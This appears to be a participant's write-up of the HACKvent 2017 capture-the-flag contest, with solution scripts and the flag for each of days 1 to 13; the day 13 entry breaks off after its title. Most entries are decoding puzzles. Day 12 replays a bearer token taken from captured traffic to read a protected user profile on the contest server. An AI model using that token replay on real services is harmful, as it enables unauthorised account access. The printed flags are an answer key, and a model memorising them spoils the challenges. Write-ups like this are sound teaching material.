HACKvent 2017 write-up

Like every year before Christmas the HACKvent is on! It is a Jeopardy CTF competition in the style of an advent calendar. Every day at 00:00 a new challenge is released. It starts with easy ones and then becomes harder and harder. If you solve a challenge before the next one is released, you’ll get full points. Oh boy, the last couple of days were stressful…

Unfortunately I lost 1 point because I wasn’t able to submit the tamagotchi challenge on time. It was even more frustrating when I’ve found out, that it didn’t work because of a copy/paste error.

Nevertheless, I am very happy with the result as I still managed to finish on the 8th place! :)

Day 01: 5th anniversary (Author: M.)

time to have a look back


Description

Solution
This one was pretty straight forward. I just had to find the flags of the first days from the past 3 years. Simple Google-search was enough. Thanks “shiltemann” for the wirteups!

Hackvent_2014
Hackvent_2015
Hackvent_2016

HV17-5YRS-4evr-IJHy-oXP1-c6Lw


Day 02: Wishlist (Author: avarx)

The fifth power of two


Description
Something happened to my wishlist, please help me.

Wishlist.txt

Solution
The fifth power of two is 32. After I Base64 decoded the string for 32 times the flag was revealed:

HV17-Th3F-1fth-Pow3-r0f2-is32


Day 03: Strange Logcat Entry (Author: pyth0n33)

Lost in messages


Description
I found those strange entries in my Android logcat, but I don’t know what it’s all about… I just want to read my messages!

logcat.txt

Solution
While browsing through the logcat, the PDU log entries were very suspicious to me. PDU stands for Protocol Data Unit and is used to communicate with base-bands on mobile phones.

11-13 20:40:13.542 137 137 I DEBUG : FAILED TO SEND RAW PDU MESSAGE
PDU Message!!
11-13 20:40:24.044 137 137 DEBUG: I 07914400000000F001000B913173317331F300003AC7F79B0C52BEC52190F37D07D1C3EB32888E2E838CECF05907425A63B7161D1D9BB7D2F337BB459E8FD12D188CDD6E85CFE931

I used a PDU decoder to read the message:

To: +13371337133
Message: Good Job! Now take the Flag: HV17-th1s-isol-dsch-00lm-agic


Day 04: HoHoHo (Author: inik)

NOTE: New easyfied attachment available


Description

Santa has hidden something for you here.

Solution
I got to know many new PDF tools with this challenge. :) In the end I could solve it with pdfwalker. While scrolling through the content I’ve found a font called “DroidSans-HACKvent.sfd”.Object 21 was referenced from there. I opened this object and dumped the decoded stream. The dumped sfd file could be converted to a ttf file with fontforge:

$ fontforge -lang=ff -c 'Open($1); Generate($2)' "DroidSans-HACKvent.sfd" "DroidSans-HACKvent.ttf"

When opening the created ttf with fontforge the flag is presented.

HV17-RP7W-DU6t-Z3qA-jwBz-jItj


Day 05: Only one hint (Author: HaRdLoCk)

OK, 2nd hint: Its XOR not MOD


Description
Here is your flag:

0x69355f71
0xc2c8c11c
0xdf45873c
0x9d26aaff
0xb1b827f4
0x97d1acf4

and the one and only hint:

0xFE8F9017 XOR 0x13371337

Solution
At first the challenge was released with a wrong description, the calculation was MOD instead of XOR. Unfortunately, this made me waste some time…

If you calculate the hint you’ll get 0xedb88320 which is the polynomial representation in the CRC-32 calculation. As I learned at last years HACKvent, the CRC-32 is reversible if it’s not longer than 4 bytes. I wrote a python script which calls this script and does the reverse calculation:

import subprocess

values = [
	"0x69355f71", 
	"0xc2c8c11c",
	"0xdf45873c",
	"0x9d26aaff",
	"0xb1b827f4",
	"0x97d1acf4"] 

result_string = ""

for i in values:
	print("- Calculate Reverse CRC32 of: " + i)
	proc = subprocess.Popen(['python', 'crc32.py', 'reverse', '-l', i], shell=False, stdout=subprocess.PIPE,)
	result = proc.communicate()[0].splitlines()[0]
	result = result[result.find("{")+1:result.find("}")]

	for r in result.split(", "):
		result_string += r[2:].decode("hex")
	result_string += "-"

print("[+] Result is: " + result_string[:-1])
$ python sol.py 
- Calculate Reverse CRC32 of: 0x69355f71
- Calculate Reverse CRC32 of: 0xc2c8c11c
- Calculate Reverse CRC32 of: 0xdf45873c
- Calculate Reverse CRC32 of: 0x9d26aaff
- Calculate Reverse CRC32 of: 0xb1b827f4
- Calculate Reverse CRC32 of: 0x97d1acf4
[+] Result is: HV17-7pKs-whyz-o6wF-h4rp-Qlt6

HV17-7pKs-whyz-o6wF-h4rp-Qlt6


Day 06: Santa’s journey (Author: avarx)

Make sure Santa visits every country


Description

Follow Santa Claus as he makes his journey around the world.

http://challenges.hackvent.hacking-lab.com:4200/

Solution
When opening the link a QR code is shown. If you decode the QR code you’ll get the name of a country. The countries are presented in random order. The goal of this challenge is to visit all countries and then probably the flag will show up. I wrote a script which reloads the URL and reads the QR codes until the result is something starting with “HV17”.
import urllib2
import qrtools

qr_code_file = "qr.png"
url = "http://challenges.hackvent.hacking-lab.com:4200"

qr = qrtools.QR()

while True:
	response = urllib2.urlopen(url)
	country = response.read()
	with open(qr_code_file, 'w') as file:
		file.write(country)

	qr.decode(qr_code_file)
	if qr.data.startswith("HV17"):
		print("[+] Found: " + qr.data)
		break
	print("- Santa is in: " + qr.data)

HV17-eCFw-J4xX-buy3-8pzG-kd3M


Day 07: i know … (Author: HaRdLoCk)

… what you did last xmas


Description

We were able to steal a file from santas computer. We are sure, he prepared a gift and there are traces for it in this file.

Please help us to recover it:

SANTA.FILE

Solution
When I have a challenge with an unknown file the first thing I try is always Binwalk. With Binwalk I could extract the file SANTA.IMA. And when running “strings” over it, the flag was presented.

$ strings SANTA.IMA | grep -i "HV17"
Y*C:\Hackvent\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe

I think there was an error in the challenge. Because the flag was there in cleartext with the chars ‘Y*’ in front. 2 lines below was the same flag but encrypted with rot13. Looks like someone wanted to remove the cleartext flag (maybe Ctrl+X?) but failed.. :)

Y*C:\Hackvent\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe
Typey=
Revision
P:\Unpxirag\UI17-HPlm-0lRH-q90B-iFdF-Fq64.rkr

HV17-UCyz-0yEU-d90O-vSqS-Sd64


Day 08: True 1337s (Author: pyth0n33)

… can read this instantly


Description

I found this obfuscated code on a public FTP-Server. But I don’t understand what it’s doing…

True.1337

Solution
To solve this I had to do a bit of python magic :)
– I took the first part of the file with the multiple “True”s, exchanged “exec” with print. This results in:

A=chr;__1337=exec;SANTA=input;FUN=print
def _1337(B):return A(B//1337)

– Now I have the instructions for the second part
– I executed “A=chr” and the function definition
– Again, replaced “__1337=exec” with “print” and I got the next instructions:

C=SANTA("?")
if C=="1787569":FUN(''.join(chr(ord(a) ^ ord(b)) for a,b in zip("{gMZF_M
C_X
\ERF[X","31415926535897932384626433832")))

– C=SANTA(“?”) is C=input(“?”) according to the first instructions
– “FUN” is “print”, so I got:

C=input("?")
if C=="1787569":
print(''.join(chr(ord(a) ^ ord(b)) for a,b in zip("{gMZF_M
C_X
\ERF[X","31415926535897932384626433832")))

– Then I had a problem with non printable characters. Therefore I went one step back and didn’t print the instructions, but looked at the definition. I just removed the “print” in the beginning of the huge text.

'\nC=SANTA("?")\nif C=="1787569":FUN(\'\'.join(chr(ord(a) ^ ord(b)) for a,b in zip("{g\x05\x06\x18MZ\x07F\x1e_M\x0cC\x14_\x03X\x0b\x19\\\x07ER\x1eF[X\x13","31415926535897932384626433832")))\n'

– Assembling this together resulted in this:

C=input("?")
if C=="1787569":
print(''.join(chr(ord(a) ^ ord(b)) for a,b in zip("{g\x05\x06\x18MZ\x07F\x1e_M\x0cC\x14_\x03X\x0b\x19\\\x07ER\x1eF[X\x13","31415926535897932384626433832")))

– I don’t care about the input or anything, I just want the flag – therefore I just execute the print line:

>>> print(''.join(chr(ord(a) ^ ord(b)) for a,b in zip("{g\x05\x06\x18MZ\x07F\x1e_M\x0cC\x14_\x03X\x0b\x19\\\x07ER\x1eF[X\x13","31415926535897932384626433832")))
HV17-th1s-ju5t-l1k3-j5sf-uck!

HV17-th1s-ju5t-l1k3-j5sf-uck!


Day 09: JSONion (Author: inik)

 


Description

… is not really an onion. Peel it and find the flag.

JSONion.zip

Solution
The hardest part of this challenge was to figure out what to do at first. After some thinking I got that the JSON file tells you what to do in the “op” field. There are different operations: remap, gzip, b64, xor, rev and null. I had to read the JSON, interpret the operation and apply it on the data.

Very special was, that the author added a branch somewhere. If you assumed that there is always only one element in the JSON, you will end up with a fake flag! Very nice twist, inik! :) This would have been the perfect place to hide a hidden flag btw!

import json
import base64
import zlib

'''result = data[0]["content"]
for c,x in enumerate(data[0]["mapFrom"]):
	print("- Replace " + x + " with " + data[0]["mapTo"][c])
	result = result.replace(x, data[0]["mapTo"][c])
print(result)'''

def remap(mapFrom, mapTo, content):
	result = ""
	for x in content:
		i = mapFrom.index(x)
		if i > -1:
			result += mapTo[i]
		else:
			result += x

	return result


def gzip(content):
	return zlib.decompress(base64.b64decode(content), 16+zlib.MAX_WBITS)


def b64(content):
	return base64.b64decode(content)


def xor(content, mask):
	contentb = base64.decodebytes(content.encode('ascii'))
	maskb = base64.decodebytes(mask.encode('ascii'))

	result = ""
	for i in range(len(contentb)):
		result += chr(contentb[i] ^ ord(maskb))

	return result


def rev(strs):
    return ''.join([strs[i] for i in range(len(strs)-1, -1, -1)])


data = json.load(open('jsonion.json'))
next_layer = ""
counter = 1

while True:
	op = data[0]["op"]
	print("[+] Peeling layer " + str(counter) + "; Operation: " + op)

	# !! There is a branch !! #
	if len(data) > 1:
		print("[!!] Found a branch [!!]")
		data = json.loads(data[1]["content"])
		continue

	if op == "map":
		next_layer = remap(data[0]["mapFrom"], data[0]["mapTo"], data[0]["content"])
	elif op == "gzip":
		next_layer = gzip(data[0]["content"])
	elif op == "b64":
		next_layer = b64(data[0]["content"])
	elif op == "nul":
		next_layer = data[0]["content"]
	elif op == "xor":
		next_layer = xor(data[0]["content"], data[0]["mask"])
	elif op == "rev":
		next_layer = rev(data[0]["content"])
	elif op == "flag":
		print("[!!] Found the flag:")
		print("--> " + data[0]["content"])
		break
	else:
		print("[+] New Operation not found, wrote it to file to inspect")
		with open('layer.txt', 'w') as f:
			f.write(str(next_layer))
		break
	
	data = json.loads(next_layer)
	counter += 1
$ python sol.py 
[+] Peeling layer 1; Operation: map
[+] Peeling layer 2; Operation: gzip
[+] Peeling layer 3; Operation: b64
[+] Peeling layer 4; Operation: gzip
[+] Peeling layer 5; Operation: map
[+] Peeling layer 6; Operation: map
[+] Peeling layer 7; Operation: nul
[+] Peeling layer 8; Operation: nul
[+] Peeling layer 9; Operation: nul
[+] Peeling layer 10; Operation: nul
[+] Peeling layer 11; Operation: map
[+] Peeling layer 12; Operation: map
[+] Peeling layer 13; Operation: b64
[+] Peeling layer 14; Operation: b64
[+] Peeling layer 15; Operation: b64
[+] Peeling layer 16; Operation: map
[+] Peeling layer 17; Operation: gzip
[+] Peeling layer 18; Operation: map
[+] Peeling layer 19; Operation: map
[+] Peeling layer 20; Operation: nul
[+] Peeling layer 21; Operation: gzip
[+] Peeling layer 22; Operation: nul
[+] Peeling layer 23; Operation: gzip
[+] Peeling layer 24; Operation: xor
[+] Peeling layer 25; Operation: nul
[+] Peeling layer 26; Operation: map
[+] Peeling layer 27; Operation: map
[+] Peeling layer 28; Operation: nul
[+] Peeling layer 29; Operation: rev
[+] Peeling layer 30; Operation: gzip
[+] Peeling layer 31; Operation: gzip
[+] Peeling layer 32; Operation: map
[+] Peeling layer 33; Operation: map
[+] Peeling layer 34; Operation: xor
[+] Peeling layer 35; Operation: b64
[+] Peeling layer 36; Operation: map
[+] Peeling layer 37; Operation: map
[+] Peeling layer 38; Operation: nul
[+] Peeling layer 39; Operation: rev
[+] Peeling layer 40; Operation: xor
[+] Peeling layer 41; Operation: nul
[+] Peeling layer 42; Operation: map
[+] Peeling layer 43; Operation: b64
[+] Peeling layer 44; Operation: rev
[+] Peeling layer 45; Operation: nul
[+] Peeling layer 46; Operation: gzip
[+] Peeling layer 47; Operation: rev
[+] Peeling layer 48; Operation: rev
[+] Peeling layer 49; Operation: map
[+] Peeling layer 50; Operation: b64
[+] Peeling layer 51; Operation: map
[+] Peeling layer 52; Operation: b64
[+] Peeling layer 53; Operation: b64
[+] Peeling layer 54; Operation: map
[+] Peeling layer 55; Operation: rev
[+] Peeling layer 56; Operation: nul
[+] Peeling layer 57; Operation: xor
[+] Peeling layer 58; Operation: gzip
[+] Peeling layer 59; Operation: rev
[+] Peeling layer 60; Operation: b64
[+] Peeling layer 61; Operation: b64
[+] Peeling layer 62; Operation: map
[+] Peeling layer 63; Operation: xor
[+] Peeling layer 64; Operation: gzip
[+] Peeling layer 65; Operation: rev
[+] Peeling layer 66; Operation: xor
[+] Peeling layer 67; Operation: nul
[+] Peeling layer 68; Operation: rev
[+] Peeling layer 69; Operation: xor
[+] Peeling layer 70; Operation: rev
[+] Peeling layer 71; Operation: b64
[+] Peeling layer 72; Operation: nul
[+] Peeling layer 73; Operation: map
[+] Peeling layer 74; Operation: xor
[!!] Found a branch [!!]
[+] Peeling layer 74; Operation: xor
[+] Peeling layer 75; Operation: rev
[+] Peeling layer 76; Operation: nul
[+] Peeling layer 77; Operation: xor
[+] Peeling layer 78; Operation: rev
[+] Peeling layer 79; Operation: rev
[+] Peeling layer 80; Operation: b64
[+] Peeling layer 81; Operation: rev
[+] Peeling layer 82; Operation: b64
[+] Peeling layer 83; Operation: b64
[+] Peeling layer 84; Operation: nul
[+] Peeling layer 85; Operation: rev
[+] Peeling layer 86; Operation: rev
[+] Peeling layer 87; Operation: b64
[+] Peeling layer 88; Operation: map
[+] Peeling layer 89; Operation: b64
[+] Peeling layer 90; Operation: xor
[+] Peeling layer 91; Operation: b64
[+] Peeling layer 92; Operation: b64
[+] Peeling layer 93; Operation: flag
[!!] Found the flag:
--> HV17-Ip11-9CaB-JvCf-d5Nq-ffyi

HV17-Ip11-9CaB-JvCf-d5Nq-ffyi


Day 10: Just play the game (Author: pyth0n33)

Haven’t you ever been bored at school?


Description

Santa is in trouble. He’s elves are busy playing TicTacToe. Beat them and help Sata to save christmas!

nc challenges.hackvent.hacking-lab.com 1037

Solution
My python script plays “tic tac toe” against the computer. I’ve found out that 1-9-7-4 wins almost all the time. But as we have to win all the time, I also need to identify dangerous situations where I could lose and react accordingly:

import socket
import sys

host = "challenges.hackvent.hacking-lab.com"
port = 1037

''' 
Winning moves 1 - 9 - 7 - 4
Not winning all the time, but most of the time
'''
winning_moves = [-1, 0, 8, 6, 3]
#winning_moves = [-1, 2, 6, 8, 5]

def get_game_status(game):
    lines = game.splitlines()
    #print(lines)

    if len(lines) >= 3 and ("Congratulations" in lines[len(lines)-4]):
        return [lines[len(lines)-4], lines[len(lines)-2]]

    if len(lines) >= 3 and ("Congratulations" in lines[len(lines)-3] or "winner" in lines[len(lines)-3]):
        return lines[len(lines)-3]


    game_status = [
        [lines[len(lines)-11][3], lines[len(lines)-11][7], lines[len(lines)-11][11]],
        [lines[len(lines)-8][3], lines[len(lines)-8][7], lines[len(lines)-8][11]],
        [lines[len(lines)-5][3], lines[len(lines)-5][7], lines[len(lines)-5][11]]
    ]
    #print(game_status)
    return game_status


def identify_danger(l):
    danger = set([x for x in l if l.count(x) > 1])
    if "*" in l and "O" in danger:
        print("[+] Danger identified!!")
        return l.index("*")

    return -1


def identify_win_situation(l):
    win = set([x for x in l if l.count(x) > 1])
    if "*" in l and "X" in win:
        print("[+] Win situation identified!!")
        return l.index("*")

    return -1


def get_next_move(place, i, next_move):
    if i == -1:
        return next_move
    if place == "row1":
        return i
    if place == "row2":
        return 3+i
    if place == "row3":
        return 6+i
    if place == "column1":
        return i+(i*2)
    if place == "column2":
        return i+(i*2)+1
    if place == "column3":
        return i+(i*2)+2
    if place == "dia1":
        return 2*i+(i*2)
    if place == "dia2":
        return (i*2)+2


def identify_next_move(status, m):
    if not status or not isinstance(status[0], list):
        return winning_moves[winning_moves.index(m)+1]

    row1 = status[0]
    row2 = status[1]
    row3 = status[2]
    column1 = [status[0][0], status[1][0], status[2][0]]
    column2 = [status[0][1], status[1][1], status[2][1]]
    column3 = [status[0][2], status[1][2], status[2][2]]
    dia1 = [status[0][0], status[1][1], status[2][2]]
    dia2 = [status[0][2], status[1][1], status[2][0]]

    try:
        next_move = winning_moves[winning_moves.index(m)+1]
    except Exception as e:
        # Maybe we came off track because of draw situation
        next_move = 0

    # Check for dangers
    next_move = get_next_move("row1", identify_danger(row1), next_move)
    next_move = get_next_move("row2", identify_danger(row2), next_move)
    next_move = get_next_move("row3", identify_danger(row3), next_move)
    next_move = get_next_move("column1", identify_danger(column1), next_move)
    next_move = get_next_move("column2", identify_danger(column2), next_move)
    next_move = get_next_move("column3", identify_danger(column3), next_move)
    next_move = get_next_move("dia1", identify_danger(dia1), next_move)
    next_move = get_next_move("dia2", identify_danger(dia2), next_move)

    # Identify win situations
    next_move = get_next_move("row1", identify_win_situation(row1), next_move)
    next_move = get_next_move("row2", identify_win_situation(row2), next_move)
    next_move = get_next_move("row3", identify_win_situation(row3), next_move)
    next_move = get_next_move("column1", identify_win_situation(column1), next_move)
    next_move = get_next_move("column2", identify_win_situation(column2), next_move)
    next_move = get_next_move("column3", identify_win_situation(column3), next_move)
    next_move = get_next_move("dia1", identify_win_situation(dia1), next_move)
    next_move = get_next_move("dia2", identify_win_situation(dia2), next_move)

    return next_move


def send_cmd(cmd):
    try:
        s.sendall(str(cmd) + "\n")
        r = s.recv(1024)

        lines = r.splitlines()
        print(len(lines))

        # Error handling
        if len(lines) != 33 and len(lines) != 23 and len(lines) != 13 and len(lines) != 24:
            r += s.recv(1024)
    except socket.error:
        print("[!!] Socket error! Abort...")
        s.close()
        sys.exit()

    return r


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((host, port))

# Start the game
send_cmd("")

move = 0
res = ""
while True:
    # Try to win
    move = identify_next_move(res, move-1)
    move += 1
    print("- Next move: " + str(move))
    res = send_cmd(move)
    res = get_game_status(res)

    if "100/100" in res[0]:
        print("[!!] We have won")
        print("--> " + res[1])
        break

    if "Congratulations" in res or "winner" in res:
        print("[+] " + res)
        print("-----------\nNext round...")
        send_cmd("")
        move = 0
        res = ""

HV17-y0ue-kn0w-7h4t-g4me-sure


Day 11: Crypt-o-Math 2.0 (Author: HaRdLoCk)

 


Description
So you bruteforced last years math lessions? This time you cant escape!

c = (a * b) % p
c=0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783
p=0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB
b=0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873

find “a” to get your flag.

Solution
Uh, I had to read up some math theory to solve this!! This Stackoverflow link was a good help: https://stackoverflow.com/questions/16044553/solving-a-modular-equation-python
I did calculate the modulo inverse and then I had to solve the equation. I documented every step in the comments of the python script:

import gmpy2

''' c = (a * b) % p '''
c=0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783
p=0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB
b=0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873

'''
https://stackoverflow.com/questions/16044553/solving-a-modular-equation-python

Calculate the inverse modulo
1 = (b * inv) % p

Solve equation:
multiply both sides by inverse modulo

c * inv = (a * b * inv) % p
c * inv = (a % p) (b * inv % p) 
c * inv = (a % p) (1)
c * inv = a % p
c * inv % p = a
'''

inv = gmpy2.invert(b,p)
a = c * inv % p
a = hex(a).lstrip("0x")
print(str(a).decode("hex"))

HV17-zQBz-AwDg-1FEL-rUE9-GKgq


Day 12: giftlogistics (Author: inik)

countercomplete inmeasure


Description
Most passwords of Santa GiftLogistics were stolen. You find an example of the traffic for Santa’s account with password and everything. The Elves CSIRT Team detected this and made sure that everyone changed their password.

Unfortunately this was an incomplete countermeasure. It’s still possible to retrieve the protected user profile data where you will find the flag.

Link traffic

Solution
Another nice challenge by inik.

– First I went through the unencrypted traffic in Wireshark
– I’ve found an OpenID configuration file, which looked suspicious. But I didn’t go more into detail there.

{"request_parameter_supported":true,"claims_parameter_supported":false,"introspection_endpoint":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/introspect","scopes_supported":["openid","profile","email","address","phone","offline_access"],"issuer":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/","userinfo_encryption_enc_values_supported":["A256CBC+HS512","A256GCM","A192GCM","A128GCM","A128CBC-HS256","A192CBC-HS384","A256CBC-HS512","A128CBC+HS256"],"id_token_encryption_enc_values_supported":["A256CBC+HS512","A256GCM","A192GCM","A128GCM","A128CBC-HS256","A192CBC-HS384","A256CBC-HS512","A128CBC+HS256"],"authorization_endpoint":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/authorize","service_documentation":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/about","request_object_encryption_enc_values_supported":["A256CBC+HS512","A256GCM","A192GCM","A128GCM","A128CBC-HS256","A192CBC-HS384","A256CBC-HS512","A128CBC+HS256"],"userinfo_signing_alg_values_supported":["HS256","HS384","HS512","RS256","RS384","RS512","ES256","ES384","ES512","PS256","PS384","PS512"],"claims_supported":["sub","name","preferred_username","given_name","family_name","middle_name","nickname","profile","picture","website","gender","zoneinfo","locale","updated_at","birthdate","email","email_verified","phone_number","phone_number_verified","address"],"claim_types_supported":["normal"],"op_policy_uri":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/about","token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic","client_secret_jwt","private_key_jwt","none"],"token_endpoint":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/token","response_types_supported":["code","token"],"request_uri_parameter_supported":false,"userinfo_encryption_alg_values_supported":["RSA-OAEP","RSA-OAEP-256","RSA1_5"],"grant_types_supported":["authorization_code","implicit","urn:ietf:params:oauth:grant-type:jwt-bearer","client_credentials","urn:ietf:params:oauth:grant_type:redelegate"],"revocation_endpoint":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/revoke","userinfo_endpoint":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/userinfo","token_endpoint_auth_signing_alg_values_supported":["HS256","HS384","HS512","RS256","RS384","RS512","ES256","ES384","ES512","PS256","PS384","PS512"],"op_tos_uri":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/about","require_request_uri_registration":false,"id_token_encryption_alg_values_supported":["RSA-OAEP","RSA-OAEP-256","RSA1_5"],"jwks_uri":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/jwk","subject_types_supported":["public","pairwise"],"id_token_signing_alg_values_supported":["HS256","HS384","HS512","RS256","RS384","RS512","ES256","ES384","ES512","PS256","PS384","PS512","none"],"registration_endpoint":"http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/register","request_object_signing_alg_values_supported":["HS256","HS384","HS512","RS256","RS384","RS512","ES256","ES384","ES512","PS256","PS384","PS512"],"request_object_encryption_alg_values_supported":["RSA-OAEP","RSA-OAEP-256","RSA1_5"]}

– Going further through the traffic I’ve found a username and password, but the credentials didn’t work. As stated in the description, the CSIRT ensured everyone changed their password.
– I stayed on this path and found the OpenID login request and the access token which was returned.

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
X-Frame-Options: DENY
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Location: http://transporter.hacking-lab.com/client#access_token=eyJraWQiOiJyc2ExIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJzYW50YSIsImF6cCI6ImE3NWI0NzIyLTE0MWQtNGMwMC1iNjVjLTVkYzI3OTE0NmI2MCIsImlzcyI6Imh0dHA6XC9cL2NoYWxsZW5nZXMuaGFja3ZlbnQuaGFja2luZy1sYWIuY29tOjcyNDBcL2dpZnRsb2dpc3RpY3NcLyIsImV4cCI6MTUyNjkzNjkzNiwiaWF0IjoxNTExMzg0OTM2LCJqdGkiOiI4MTlmNWYzZC1hN2M3LTQ0YTktYmI5Ni0wZmQ4MmY0YjdlNzUifQ.U9Hv66701DtUb8zeqOo45JVbzC3yhKJhsQ_q7N20rdLn5-uovYzMWjhxY8I9oPQkv3s5iDDsx1GIUbnOkC8l__oj_uqptG0BPbRfD2K1blKpbXQt3yxD1pB63aHw5LRAp10ia0MNe8_eo-qzi9d58CVYY_XOtTRH8Ic_tP5lpXVaImi8miYFY2XqR1TuFM-cUjIMUYT9Ik8rwZAEbLO_1UAWPuQUpi0_Z6N0r3hKoIRSlknmmg8A5PunL2I0qFyICUm0cqb4fieBZ34R4117LmyQY_XvzKogIaLegDIgbp22hTGHPAdziEloYYaP5uc_aEnfo0eNvY7QLPNy1dDs-Q&token_type=Bearer&state=e6ec344ec594&expires_in=15551999&id_token=eyJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBMV81In0.AjFhnIaX-LLVpdJDMOvkK4MbTreuz3rdAwUfim8NsErrh238expG4O9tazr8gqZep9lCbHpieqiFRD8yRhF1-BA-EdmV9zO_Ilerrtfra1_AC5ozYV6wt1nK7cyzUm77mdpEzRZ9yhlMLrvk6FSh0lxlO6XwbJq6AL_KUsZza0kgsNVdUw3EsoAKYwZhVuzIgCLEQ1McRpEoCE9KESjKEgOgf0XoLZN-kqEARMujJH9OpCgIXIsR7ypew7Wp6W2cjWVkedjY2yaofOzedJyP7brZzX_zzPfCHey5dqW4TOlRaMlLaQ5sWIOcA2-HpsIJExoKXWRW0LIdJFS8VPKF4Q.WZtAImcXGL4EjUfw.1s2sKvRDX93EIL529djgN873OjnSXwdhB5FU5QKGt-8c0Qh-FijdssQ_6Mykgazydj8NyxCi0e5H1GogRCiv8ibchvwi4gXdQIeMXUIomHYyn2LuXS5lkARLqPzJIbv_j60NiEbdc1K9t8YuO_jnK1aajoNq2CIsgNRDxfIgbA7TZ8-GWU-Z1dItv2g7-3Ks9pwG2nUnmP0bqifYb9dae5bZe_oS5wBiHdQh43VQFPigY4G7r1dASpG3rnm_v6uqcET96dxN6AECwhW4SFQZKUoGlgv9JkG7HrUjoYbygmE1H3yrNBHQlRxnuWDxLWffsnpoGEVuZEBLyUxNA07t42NomgAdxWAlNvlrSd2veArpX2iEL_0K1u1oHe8_fkWfyWugqu39kuOeCGh2FULM0B-F8nzM6pQIN62uqwiJVJ0.0DDYtfSSe8eq10KFJ2agXw
Content-Language: en
Content-Length: 0
Date: Wed, 22 Nov 2017 21:08:57 GMT

– I tried to use this token to access the website. It is a bearer token type, so I generated this GET Request:

GET /giftlogistics/ HTTP/1.1
Host: challenges.hackvent.hacking-lab.com:7240
Authorization: Bearer eyJraWQiOiJyc2ExIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJzYW50YSIsImF6cCI6ImE3NWI0NzIyLTE0MWQtNGMwMC1iNjVjLTVkYzI3OTE0NmI2MCIsImlzcyI6Imh0dHA6XC9cL2NoYWxsZW5nZXMuaGFja3ZlbnQuaGFja2luZy1sYWIuY29tOjcyNDBcL2dpZnRsb2dpc3RpY3NcLyIsImV4cCI6MTUyNjkzNjkzNiwiaWF0IjoxNTExMzg0OTM2LCJqdGkiOiI4MTlmNWYzZC1hN2M3LTQ0YTktYmI5Ni0wZmQ4MmY0YjdlNzUifQ.U9Hv66701DtUb8zeqOo45JVbzC3yhKJhsQ_q7N20rdLn5-uovYzMWjhxY8I9oPQkv3s5iDDsx1GIUbnOkC8l__oj_uqptG0BPbRfD2K1blKpbXQt3yxD1pB63aHw5LRAp10ia0MNe8_eo-qzi9d58CVYY_XOtTRH8Ic_tP5lpXVaImi8miYFY2XqR1TuFM-cUjIMUYT9Ik8rwZAEbLO_1UAWPuQUpi0_Z6N0r3hKoIRSlknmmg8A5PunL2I0qFyICUm0cqb4fieBZ34R4117LmyQY_XvzKogIaLegDIgbp22hTGHPAdziEloYYaP5uc_aEnfo0eNvY7QLPNy1dDs-Q
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.7,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

– But the page still showed the login button and I didn’t get any more information.. I tried to submit the bearer token in different ways, but none worked. The Lifetime of the token is long enough though, it should still work..
– Then the OpenID configuration I’ve found in the beginning came back to my mind. And there were some API calls, like userinfo:
http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/userinfo

– Calling this API endpoint revealed the flag

$ curl -H 'Authorization: Bearer eyJraWQiOiJyc2ExIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJzYW50YSIsImF6cCI6ImE3NWI0NzIyLTE0MWQtNGMwMC1iNjVjLTVkYzI3OTE0NmI2MCIsImlzcyI6Imh0dHA6XC9cL2NoYWxsZW5nZXMuaGFja3ZlbnQuaGFja2luZy1sYWIuY29tOjcyNDBcL2dpZnRsb2dpc3RpY3NcLyIsImV4cCI6MTUyNjkzNjkzNiwiaWF0IjoxNTExMzg0OTM2LCJqdGkiOiI4MTlmNWYzZC1hN2M3LTQ0YTktYmI5Ni0wZmQ4MmY0YjdlNzUifQ.U9Hv66701DtUb8zeqOo45JVbzC3yhKJhsQ_q7N20rdLn5-uovYzMWjhxY8I9oPQkv3s5iDDsx1GIUbnOkC8l__oj_uqptG0BPbRfD2K1blKpbXQt3yxD1pB63aHw5LRAp10ia0MNe8_eo-qzi9d58CVYY_XOtTRH8Ic_tP5lpXVaImi8miYFY2XqR1TuFM-cUjIMUYT9Ik8rwZAEbLO_1UAWPuQUpi0_Z6N0r3hKoIRSlknmmg8A5PunL2I0qFyICUm0cqb4fieBZ34R4117LmyQY_XvzKogIaLegDIgbp22hTGHPAdziEloYYaP5uc_aEnfo0eNvY7QLPNy1dDs-Q' http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/userinfo
{"sub":"HV17-eUOF-mPJY-ruga-fUFq-EhOx","name":"Reginald Thumblewood","preferred_username":"santa"}

HV17-eUOF-mPJY-ruga-fUFq-EhOx


Day 13: muffin_asm (Author: muffinX)

As M. said, kind of a different architecture!


Description

ohai \o/

